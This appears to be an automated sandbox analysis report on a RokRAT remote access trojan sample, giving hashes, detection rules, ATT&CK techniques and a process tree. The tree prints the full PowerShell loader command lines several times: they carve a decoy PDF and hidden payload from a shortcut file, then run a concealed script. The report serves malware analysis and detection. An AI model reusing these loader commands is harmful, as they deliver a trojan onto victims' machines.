rokrat | c81d5421b18c59c9d6df2553e5791e2bb37e8b9d34c93004290bae8aa4ed5ec4

Analysis

max time kernel
150s
max time network
153s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
03-04-2024 13:25

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1.rar
Size

4.4MB
MD5

b97fac2bfe6de66b4a615780cb6b1cc2
SHA1

1ccd56e4113b00ea818f47ca90ba16a80f167dba
SHA256

c81d5421b18c59c9d6df2553e5791e2bb37e8b9d34c93004290bae8aa4ed5ec4
SHA512

97e163fc66484c9677802650e7affead5c9f537f746eb0d82b1d196e3e13d9ccea76938211235f68cb562b3fd056526f43ad881f4d244ba7767f9b35e238cc60
SSDEEP

98304:7Hw2wByKZdIAtG/pupt2kv70X+iPLMPGcebMimKHpGu:LPqpagtx7q+iIPczHAu

Score

10^/10

rokrat link pdf rat

Malware Config

Signatures

Detect Rokrat payload 6 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2292-194-0x000000000C010000-0x000000000C0F3000-memory.dmp	family_rokrat
behavioral1/memory/2292-195-0x000000000C010000-0x000000000C0F3000-memory.dmp	family_rokrat
behavioral1/memory/484-279-0x000000000C130000-0x000000000C213000-memory.dmp	family_rokrat
behavioral1/memory/484-280-0x000000000C130000-0x000000000C213000-memory.dmp	family_rokrat
behavioral1/memory/2148-326-0x000000000C140000-0x000000000C223000-memory.dmp	family_rokrat
behavioral1/memory/2148-327-0x000000000C140000-0x000000000C223000-memory.dmp	family_rokrat

Rokrat
Rokrat is a remote access trojan written in c++.
rat rokrat

Blocklisted process makes network request 30 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow	pid	process
3	2292	powershell.exe
4	2292	powershell.exe
5	2292	powershell.exe
6	2292	powershell.exe
7	2292	powershell.exe
8	2292	powershell.exe
10	2292	powershell.exe
12	2292	powershell.exe
13	484	powershell.exe
14	484	powershell.exe
15	484	powershell.exe
16	484	powershell.exe
17	484	powershell.exe
18	484	powershell.exe
19	484	powershell.exe
20	2148	powershell.exe
22	484	powershell.exe
23	2148	powershell.exe
24	2148	powershell.exe
25	2148	powershell.exe
26	2148	powershell.exe
27	2148	powershell.exe
28	2148	powershell.exe
30	2148	powershell.exe
31	2292	powershell.exe
33	2292	powershell.exe
34	484	powershell.exe
36	484	powershell.exe
37	2148	powershell.exe
39	2148	powershell.exe

Checks BIOS information in registry 2 TTPs 3 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

powershell.exepowershell.exepowershell.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	powershell.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	powershell.exe

Drops file in Windows directory 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description	ioc	process
File created	C:\Windows\20599.dat	powershell.exe
File created	C:\Windows\148.dat	powershell.exe
File created	C:\Windows\19457.dat	powershell.exe

HTTP links in PDF interactive object 2 IoCs

Detects HTTP links in interactive objects within PDF files.

pdf link

Processes:

resource	yara_rule
C:\Users\Admin\Desktop\b1025baa59609708315326fe4279d8113f7af3f292470ef42c33fccbb8aa3e56.lnk	pdf_with_link_action
C:\Users\Admin\Desktop\b1025baa59609708315326fe4279d8113f7af3f292470ef42c33fccbb8aa3e56.pdf	pdf_with_link_action

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
2492	powershell.exe
1916	powershell.exe
2744	powershell.exe
484	powershell.exe
2292	powershell.exe
2148	powershell.exe
2292	powershell.exe
484	powershell.exe
2148	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

Processes:

7zFM.exeAcroRd32.exe

pid process

2640 7zFM.exe
1872 AcroRd32.exe

pid	process
2640	7zFM.exe
1872	AcroRd32.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

Processes:

7zFM.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeRestorePrivilege	2640	7zFM.exe
Token: 35	2640	7zFM.exe
Token: SeSecurityPrivilege	2640	7zFM.exe
Token: SeDebugPrivilege	2492	powershell.exe
Token: SeDebugPrivilege	1916	powershell.exe
Token: SeDebugPrivilege	2744	powershell.exe
Token: SeDebugPrivilege	484	powershell.exe
Token: SeDebugPrivilege	2292	powershell.exe
Token: SeDebugPrivilege	2148	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

7zFM.exe

pid process

2640 7zFM.exe
2640 7zFM.exe
Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

AcroRd32.exe

pid process

1872 AcroRd32.exe
1872 AcroRd32.exe
1872 AcroRd32.exe
1872 AcroRd32.exe

pid	process
2640	7zFM.exe
2640	7zFM.exe

pid	process
1872	AcroRd32.exe
1872	AcroRd32.exe
1872	AcroRd32.exe
1872	AcroRd32.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.execmd.execmd.execmd.exepowershell.execmd.exepowershell.exepowershell.execmd.execmd.exepowershell.exe

description	pid	process	target process
PID 2208 wrote to memory of 2640	2208	cmd.exe	7zFM.exe
PID 2208 wrote to memory of 2640	2208	cmd.exe	7zFM.exe
PID 2208 wrote to memory of 2640	2208	cmd.exe	7zFM.exe
PID 2256 wrote to memory of 2456	2256	cmd.exe	cmd.exe
PID 2256 wrote to memory of 2456	2256	cmd.exe	cmd.exe
PID 2256 wrote to memory of 2456	2256	cmd.exe	cmd.exe
PID 2256 wrote to memory of 2456	2256	cmd.exe	cmd.exe
PID 2256 wrote to memory of 2492	2256	cmd.exe	powershell.exe
PID 2256 wrote to memory of 2492	2256	cmd.exe	powershell.exe
PID 2256 wrote to memory of 2492	2256	cmd.exe	powershell.exe
PID 2256 wrote to memory of 2492	2256	cmd.exe	powershell.exe
PID 2896 wrote to memory of 1676	2896	cmd.exe	cmd.exe
PID 2896 wrote to memory of 1676	2896	cmd.exe	cmd.exe
PID 2896 wrote to memory of 1676	2896	cmd.exe	cmd.exe
PID 2896 wrote to memory of 1676	2896	cmd.exe	cmd.exe
PID 2896 wrote to memory of 1916	2896	cmd.exe	powershell.exe
PID 2896 wrote to memory of 1916	2896	cmd.exe	powershell.exe
PID 2896 wrote to memory of 1916	2896	cmd.exe	powershell.exe
PID 2896 wrote to memory of 1916	2896	cmd.exe	powershell.exe
PID 2740 wrote to memory of 1672	2740	cmd.exe	cmd.exe
PID 2740 wrote to memory of 1672	2740	cmd.exe	cmd.exe
PID 2740 wrote to memory of 1672	2740	cmd.exe	cmd.exe
PID 2740 wrote to memory of 1672	2740	cmd.exe	cmd.exe
PID 2740 wrote to memory of 2744	2740	cmd.exe	powershell.exe
PID 2740 wrote to memory of 2744	2740	cmd.exe	powershell.exe
PID 2740 wrote to memory of 2744	2740	cmd.exe	powershell.exe
PID 2740 wrote to memory of 2744	2740	cmd.exe	powershell.exe
PID 2492 wrote to memory of 1872	2492	powershell.exe	AcroRd32.exe
PID 2492 wrote to memory of 1872	2492	powershell.exe	AcroRd32.exe
PID 2492 wrote to memory of 1872	2492	powershell.exe	AcroRd32.exe
PID 2492 wrote to memory of 1872	2492	powershell.exe	AcroRd32.exe
PID 2492 wrote to memory of 1524	2492	powershell.exe	cmd.exe
PID 2492 wrote to memory of 1524	2492	powershell.exe	cmd.exe
PID 2492 wrote to memory of 1524	2492	powershell.exe	cmd.exe
PID 2492 wrote to memory of 1524	2492	powershell.exe	cmd.exe
PID 1524 wrote to memory of 484	1524	cmd.exe	powershell.exe
PID 1524 wrote to memory of 484	1524	cmd.exe	powershell.exe
PID 1524 wrote to memory of 484	1524	cmd.exe	powershell.exe
PID 1524 wrote to memory of 484	1524	cmd.exe	powershell.exe
PID 2744 wrote to memory of 1728	2744	powershell.exe	AcroRd32.exe
PID 2744 wrote to memory of 1728	2744	powershell.exe	AcroRd32.exe
PID 2744 wrote to memory of 1728	2744	powershell.exe	AcroRd32.exe
PID 2744 wrote to memory of 1728	2744	powershell.exe	AcroRd32.exe
PID 1916 wrote to memory of 2104	1916	powershell.exe	AcroRd32.exe
PID 1916 wrote to memory of 2104	1916	powershell.exe	AcroRd32.exe
PID 1916 wrote to memory of 2104	1916	powershell.exe	AcroRd32.exe
PID 1916 wrote to memory of 2104	1916	powershell.exe	AcroRd32.exe
PID 2744 wrote to memory of 2252	2744	powershell.exe	cmd.exe
PID 2744 wrote to memory of 2252	2744	powershell.exe	cmd.exe
PID 2744 wrote to memory of 2252	2744	powershell.exe	cmd.exe
PID 2744 wrote to memory of 2252	2744	powershell.exe	cmd.exe
PID 1916 wrote to memory of 2532	1916	powershell.exe	cmd.exe
PID 1916 wrote to memory of 2532	1916	powershell.exe	cmd.exe
PID 1916 wrote to memory of 2532	1916	powershell.exe	cmd.exe
PID 1916 wrote to memory of 2532	1916	powershell.exe	cmd.exe
PID 2252 wrote to memory of 2148	2252	cmd.exe	powershell.exe
PID 2252 wrote to memory of 2148	2252	cmd.exe	powershell.exe
PID 2252 wrote to memory of 2148	2252	cmd.exe	powershell.exe
PID 2252 wrote to memory of 2148	2252	cmd.exe	powershell.exe
PID 2532 wrote to memory of 2292	2532	cmd.exe	powershell.exe
PID 2532 wrote to memory of 2292	2532	cmd.exe	powershell.exe
PID 2532 wrote to memory of 2292	2532	cmd.exe	powershell.exe
PID 2532 wrote to memory of 2292	2532	cmd.exe	powershell.exe
PID 2292 wrote to memory of 1704	2292	powershell.exe	csc.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\1.rar
1⤵
- Suspicious use of WriteProcessMemory
PID:2208

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\1.rar"
2⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2640

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\SysWOW64\cmd.exe" /k for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a "$dirPath = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = 'C:\Users\Admin\AppData\Local\Temp'}; $lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x0382A8AD} | Select-Object -ExpandProperty FullName;$lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$lnkFile.Seek(0x00001090, [System.IO.SeekOrigin]::Begin);$pdfFile=New-Object byte[] 0x004B4DD3;$lnkFile.Read($pdfFile, 0, 0x004B4DD3);$pdfPath = $lnkPath.replace('.lnk','.pdf');sc $pdfPath $pdfFile -Encoding Byte;& $pdfPath;$lnkFile.Seek(0x004B5E63,[System.IO.SeekOrigin]::Begin);$exeFile=New-Object byte[] 0x000D9402;$lnkFile.Read($exeFile, 0, 0x000D9402);$exePath=$env:public+'\'+'panic.dat';sc $exePath $exeFile -Encoding Byte;$lnkFile.Seek(0x0058F265,[System.IO.SeekOrigin]::Begin);$stringByte = New-Object byte[] 0x000005A9;$lnkFile.Read($stringByte, 0, 0x000005A9);$batStrPath = $env:temp+'\'+'para.dat';$string = [System.Text.Encoding]::UTF8.GetString($stringByte);$string | Out-File -FilePath $batStrPath -Encoding ascii;$lnkFile.Seek(0x0058F80E,[System.IO.SeekOrigin]::Begin);$batByte = New-Object byte[] 0x00000135;$lnkFile.Read($batByte, 0, 0x00000135);$executePath = $env:temp+'\'+'price.bat';Write-Host $executePath;Write-Host $batStrPath;$bastString = [System.Text.Encoding]::UTF8.GetString($batByte);$bastString | Out-File -FilePath $executePath -Encoding ascii;& $executePath;$lnkFile.Close();remove-item -path $lnkPath -force;"&& exit
1⤵
- Suspicious use of WriteProcessMemory
PID:2256

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od
2⤵
PID:2456

C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe "$dirPath = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = 'C:\Users\Admin\AppData\Local\Temp'}; $lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x0382A8AD} | Select-Object -ExpandProperty FullName;$lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$lnkFile.Seek(0x00001090, [System.IO.SeekOrigin]::Begin);$pdfFile=New-Object byte[] 0x004B4DD3;$lnkFile.Read($pdfFile, 0, 0x004B4DD3);$pdfPath = $lnkPath.replace('.lnk','.pdf');sc $pdfPath $pdfFile -Encoding Byte;& $pdfPath;$lnkFile.Seek(0x004B5E63,[System.IO.SeekOrigin]::Begin);$exeFile=New-Object byte[] 0x000D9402;$lnkFile.Read($exeFile, 0, 0x000D9402);$exePath=$env:public+'\'+'panic.dat';sc $exePath $exeFile -Encoding Byte;$lnkFile.Seek(0x0058F265,[System.IO.SeekOrigin]::Begin);$stringByte = New-Object byte[] 0x000005A9;$lnkFile.Read($stringByte, 0, 0x000005A9);$batStrPath = $env:temp+'\'+'para.dat';$string = [System.Text.Encoding]::UTF8.GetString($stringByte);$string | Out-File -FilePath $batStrPath -Encoding ascii;$lnkFile.Seek(0x0058F80E,[System.IO.SeekOrigin]::Begin);$batByte = New-Object byte[] 0x00000135;$lnkFile.Read($batByte, 0, 0x00000135);$executePath = $env:temp+'\'+'price.bat';Write-Host $executePath;Write-Host $batStrPath;$bastString = [System.Text.Encoding]::UTF8.GetString($batByte);$bastString | Out-File -FilePath $executePath -Encoding ascii;& $executePath;$lnkFile.Close();remove-item -path $lnkPath -force;"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2492

C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe
"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\Desktop\b1025baa59609708315326fe4279d8113f7af3f292470ef42c33fccbb8aa3e56.pdf"
3⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:1872

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\price.bat""
3⤵
- Suspicious use of WriteProcessMemory
PID:1524

C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden "$stringPath=$env:temp+'\'+'para.dat';$stringByte = Get-Content -path $stringPath -encoding byte;$string = [System.Text.Encoding]::UTF8.GetString($stringByte);$scriptBlock = [scriptblock]::Create($string);&$scriptBlock;"
4⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:484

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jj1ftvus.cmdline"
5⤵
PID:2484

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES40B9.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC40B8.tmp"
6⤵
PID:2600

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\uhbirbtx.cmdline"
5⤵
PID:2736

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4145.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC4144.tmp"
6⤵
PID:1924

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4vzgz8j2.cmdline"
5⤵
PID:976

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES42AC.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC42AB.tmp"
6⤵
PID:2776

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\etdkisvx.cmdline"
5⤵
PID:1356

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4413.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC4412.tmp"
6⤵
PID:1760

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\SysWOW64\cmd.exe" /k for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a "$dirPath = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = 'C:\Users\Admin\AppData\Local\Temp'}; $lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x0382A8AD} | Select-Object -ExpandProperty FullName;$lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$lnkFile.Seek(0x00001090, [System.IO.SeekOrigin]::Begin);$pdfFile=New-Object byte[] 0x004B4DD3;$lnkFile.Read($pdfFile, 0, 0x004B4DD3);$pdfPath = $lnkPath.replace('.lnk','.pdf');sc $pdfPath $pdfFile -Encoding Byte;& $pdfPath;$lnkFile.Seek(0x004B5E63,[System.IO.SeekOrigin]::Begin);$exeFile=New-Object byte[] 0x000D9402;$lnkFile.Read($exeFile, 0, 0x000D9402);$exePath=$env:public+'\'+'panic.dat';sc $exePath $exeFile -Encoding Byte;$lnkFile.Seek(0x0058F265,[System.IO.SeekOrigin]::Begin);$stringByte = New-Object byte[] 0x000005A9;$lnkFile.Read($stringByte, 0, 0x000005A9);$batStrPath = $env:temp+'\'+'para.dat';$string = [System.Text.Encoding]::UTF8.GetString($stringByte);$string | Out-File -FilePath $batStrPath -Encoding ascii;$lnkFile.Seek(0x0058F80E,[System.IO.SeekOrigin]::Begin);$batByte = New-Object byte[] 0x00000135;$lnkFile.Read($batByte, 0, 0x00000135);$executePath = $env:temp+'\'+'price.bat';Write-Host $executePath;Write-Host $batStrPath;$bastString = [System.Text.Encoding]::UTF8.GetString($batByte);$bastString | Out-File -FilePath $executePath -Encoding ascii;& $executePath;$lnkFile.Close();remove-item -path $lnkPath -force;"&& exit
1⤵
- Suspicious use of WriteProcessMemory
PID:2896

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od
2⤵
PID:1676

C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe "$dirPath = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = 'C:\Users\Admin\AppData\Local\Temp'}; $lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x0382A8AD} | Select-Object -ExpandProperty FullName;$lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$lnkFile.Seek(0x00001090, [System.IO.SeekOrigin]::Begin);$pdfFile=New-Object byte[] 0x004B4DD3;$lnkFile.Read($pdfFile, 0, 0x004B4DD3);$pdfPath = $lnkPath.replace('.lnk','.pdf');sc $pdfPath $pdfFile -Encoding Byte;& $pdfPath;$lnkFile.Seek(0x004B5E63,[System.IO.SeekOrigin]::Begin);$exeFile=New-Object byte[] 0x000D9402;$lnkFile.Read($exeFile, 0, 0x000D9402);$exePath=$env:public+'\'+'panic.dat';sc $exePath $exeFile -Encoding Byte;$lnkFile.Seek(0x0058F265,[System.IO.SeekOrigin]::Begin);$stringByte = New-Object byte[] 0x000005A9;$lnkFile.Read($stringByte, 0, 0x000005A9);$batStrPath = $env:temp+'\'+'para.dat';$string = [System.Text.Encoding]::UTF8.GetString($stringByte);$string | Out-File -FilePath $batStrPath -Encoding ascii;$lnkFile.Seek(0x0058F80E,[System.IO.SeekOrigin]::Begin);$batByte = New-Object byte[] 0x00000135;$lnkFile.Read($batByte, 0, 0x00000135);$executePath = $env:temp+'\'+'price.bat';Write-Host $executePath;Write-Host $batStrPath;$bastString = [System.Text.Encoding]::UTF8.GetString($batByte);$bastString | Out-File -FilePath $executePath -Encoding ascii;& $executePath;$lnkFile.Close();remove-item -path $lnkPath -force;"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1916

C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe
"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\Desktop\b1025baa59609708315326fe4279d8113f7af3f292470ef42c33fccbb8aa3e56.pdf"
3⤵
PID:2104

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\price.bat""
3⤵
- Suspicious use of WriteProcessMemory
PID:2532

C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden "$stringPath=$env:temp+'\'+'para.dat';$stringByte = Get-Content -path $stringPath -encoding byte;$string = [System.Text.Encoding]::UTF8.GetString($stringByte);$scriptBlock = [scriptblock]::Create($string);&$scriptBlock;"
4⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2292

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\7bigxfci.cmdline"
5⤵
PID:1704

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFD05.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCFD04.tmp"
6⤵
PID:1756

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\u2wkpxj5.cmdline"
5⤵
PID:1092

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFE4D.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCFE4C.tmp"
6⤵
PID:2380

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kglkuynj.cmdline"
5⤵
PID:2516

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFF08.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCFF07.tmp"
6⤵
PID:1596

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\aihzzp8h.cmdline"
5⤵
PID:3048

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFFC3.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCFFC2.tmp"
6⤵
PID:2540

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\SysWOW64\cmd.exe" /k for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a "$dirPath = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = 'C:\Users\Admin\AppData\Local\Temp'}; $lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x0382A8AD} | Select-Object -ExpandProperty FullName;$lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$lnkFile.Seek(0x00001090, [System.IO.SeekOrigin]::Begin);$pdfFile=New-Object byte[] 0x004B4DD3;$lnkFile.Read($pdfFile, 0, 0x004B4DD3);$pdfPath = $lnkPath.replace('.lnk','.pdf');sc $pdfPath $pdfFile -Encoding Byte;& $pdfPath;$lnkFile.Seek(0x004B5E63,[System.IO.SeekOrigin]::Begin);$exeFile=New-Object byte[] 0x000D9402;$lnkFile.Read($exeFile, 0, 0x000D9402);$exePath=$env:public+'\'+'panic.dat';sc $exePath $exeFile -Encoding Byte;$lnkFile.Seek(0x0058F265,[System.IO.SeekOrigin]::Begin);$stringByte = New-Object byte[] 0x000005A9;$lnkFile.Read($stringByte, 0, 0x000005A9);$batStrPath = $env:temp+'\'+'para.dat';$string = [System.Text.Encoding]::UTF8.GetString($stringByte);$string | Out-File -FilePath $batStrPath -Encoding ascii;$lnkFile.Seek(0x0058F80E,[System.IO.SeekOrigin]::Begin);$batByte = New-Object byte[] 0x00000135;$lnkFile.Read($batByte, 0, 0x00000135);$executePath = $env:temp+'\'+'price.bat';Write-Host $executePath;Write-Host $batStrPath;$bastString = [System.Text.Encoding]::UTF8.GetString($batByte);$bastString | Out-File -FilePath $executePath -Encoding ascii;& $executePath;$lnkFile.Close();remove-item -path $lnkPath -force;"&& exit
1⤵
- Suspicious use of WriteProcessMemory
PID:2740

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od
2⤵
PID:1672

C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe "$dirPath = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = 'C:\Users\Admin\AppData\Local\Temp'}; $lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x0382A8AD} | Select-Object -ExpandProperty FullName;$lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$lnkFile.Seek(0x00001090, [System.IO.SeekOrigin]::Begin);$pdfFile=New-Object byte[] 0x004B4DD3;$lnkFile.Read($pdfFile, 0, 0x004B4DD3);$pdfPath = $lnkPath.replace('.lnk','.pdf');sc $pdfPath $pdfFile -Encoding Byte;& $pdfPath;$lnkFile.Seek(0x004B5E63,[System.IO.SeekOrigin]::Begin);$exeFile=New-Object byte[] 0x000D9402;$lnkFile.Read($exeFile, 0, 0x000D9402);$exePath=$env:public+'\'+'panic.dat';sc $exePath $exeFile -Encoding Byte;$lnkFile.Seek(0x0058F265,[System.IO.SeekOrigin]::Begin);$stringByte = New-Object byte[] 0x000005A9;$lnkFile.Read($stringByte, 0, 0x000005A9);$batStrPath = $env:temp+'\'+'para.dat';$string = [System.Text.Encoding]::UTF8.GetString($stringByte);$string | Out-File -FilePath $batStrPath -Encoding ascii;$lnkFile.Seek(0x0058F80E,[System.IO.SeekOrigin]::Begin);$batByte = New-Object byte[] 0x00000135;$lnkFile.Read($batByte, 0, 0x00000135);$executePath = $env:temp+'\'+'price.bat';Write-Host $executePath;Write-Host $batStrPath;$bastString = [System.Text.Encoding]::UTF8.GetString($batByte);$bastString | Out-File -FilePath $executePath -Encoding ascii;& $executePath;$lnkFile.Close();remove-item -path $lnkPath -force;"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
